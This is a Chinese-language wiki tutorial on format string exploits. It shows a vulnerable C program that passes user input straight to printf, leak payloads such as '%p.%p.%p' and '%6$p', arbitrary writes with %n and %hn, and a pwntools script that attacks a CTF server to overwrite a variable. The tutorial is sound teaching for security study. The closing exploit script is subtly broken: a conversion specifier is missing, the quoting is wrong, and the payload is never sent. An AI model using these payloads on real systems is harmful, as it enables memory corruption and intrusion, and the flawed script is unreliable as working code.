Format String Exploit - ianchen0119/About-Security GitHub Wiki
Format String Exploit 是一個強力的漏洞,當程式有此類型的漏洞時,我們可以做到任意地址的讀取與寫入,非常危險。
#include <stdio.h>
int printf(const char *restrict format, ...);
根據 man pages 上面的定義, printf()
函式內的第一個參數就是 Format String ,它用來表示輸出的字串格式。
#include <stdio.h>
int main(){
char buf[0x100];
while( scanf("%s", &buf) != EOF){
printf(buf);
printf("\n");
}
return 0;
}
上面程式碼中的 printf()
沒有特定的 fmt ,讓這個程式有漏洞可以鑽。
- fmt -> rdi, data -> rsi
- x86_64 傳遞參數的暫存器: rdi, rsi, rdx, rcx, r8, r9, ...stack 。
因為程式碼中沒有指定 fmt ,導致 buffer 會被寫入 rdi 中,對 printf()
來說,我們輸入的字串就會被它當成 fmt 。
input: "aaa"
output: "aaa"
input: "%p.%p.%p"
output: "0x0fbdb0858b0.0x1.0x0fbdb0858b0" // rsi, rdx, rcx
input: "%3$p"
output: "0x0fbdb0858b0" // rcx
這時候,我們就可以輸入惡意的字串去 leak 出指定暫存器的位址,根據 x86_64 函式傳遞參數的暫存器來看,我們只要使用 "%6$p"
就可以 Leak 出 Stack 上的資料。
/* Conversion specifier: n
* The number of characters written so far is stored into the
* integer pointed to by the corresponding argument. That
* argument shall be an int *, or variant whose size matches
* the (optionally) supplied integer length modifier. No
* argument is converted. (This specifier is not supported
* by the bionic C library.) The behavior is undefined if
* the conversion specification includes any flags, a field
* width, or a precision.
*/
將已輸出字元當成 Integer 對 rcx 指向的 Address 做寫入,換言之,你想寫多大的數值就在 "%n"
之前輸入多少字元。
#include <stdio.h>
int main(){
int a = 0;
printf("a = %d", a); // 0
printf("123abc%n\n", &a);
printf("a = %d", a); // 6
return 0;
}
#include <stdio.h>
int main(){
int a = 0;
printf("a = %d", a); // 0
printf("%1000c%n\n", 0, &a); // 999 個 0 + 1 個 null byte + 換行符號
printf("a = %d", a); // 1000
return 0;
}
考慮穩定與 I/O 效能問題
-
%n
: 寫 4 bytes -
%hn
: 寫 2 bytes -
%hhn
: 寫 1 bytes
- 如果 fmt 存在 stack 上:
- 將位址放到 payload 上面,再利用
"%n$"
去做 reference 。
- 將位址放到 payload 上面,再利用
-
"%n$p"
: leak 出 libc, PIE, Heap, Stack: Bypass ASLR -
"%n$n"
: write value
題目: 影片 13:20 處
- 目標: 將
a
寫成0xfaceb00c
。 - 先寫
b00c (45068)
,再寫face (19138)
- 透過 elf 可得知
a
的值。
from pwn import *
host, port = '60.251.236.18', 10129
y = remote(host, port)
a = 0x6012ac
p = '%45068%22$hn%19138%23$hn'.ljust(0x30, `\x00`) + p64(a) + p64(a + 2)
y.interactive()
- 第 16 個 8 Bytes 是 fmt ,我們固定保留 6 個 8 Bytes 給它 (
ljust(0x30, `\x00`)
) 。 - 為了避免 I/O 爆掉,一次寫兩個 Byte 到 a 當中。
影片 43:00 。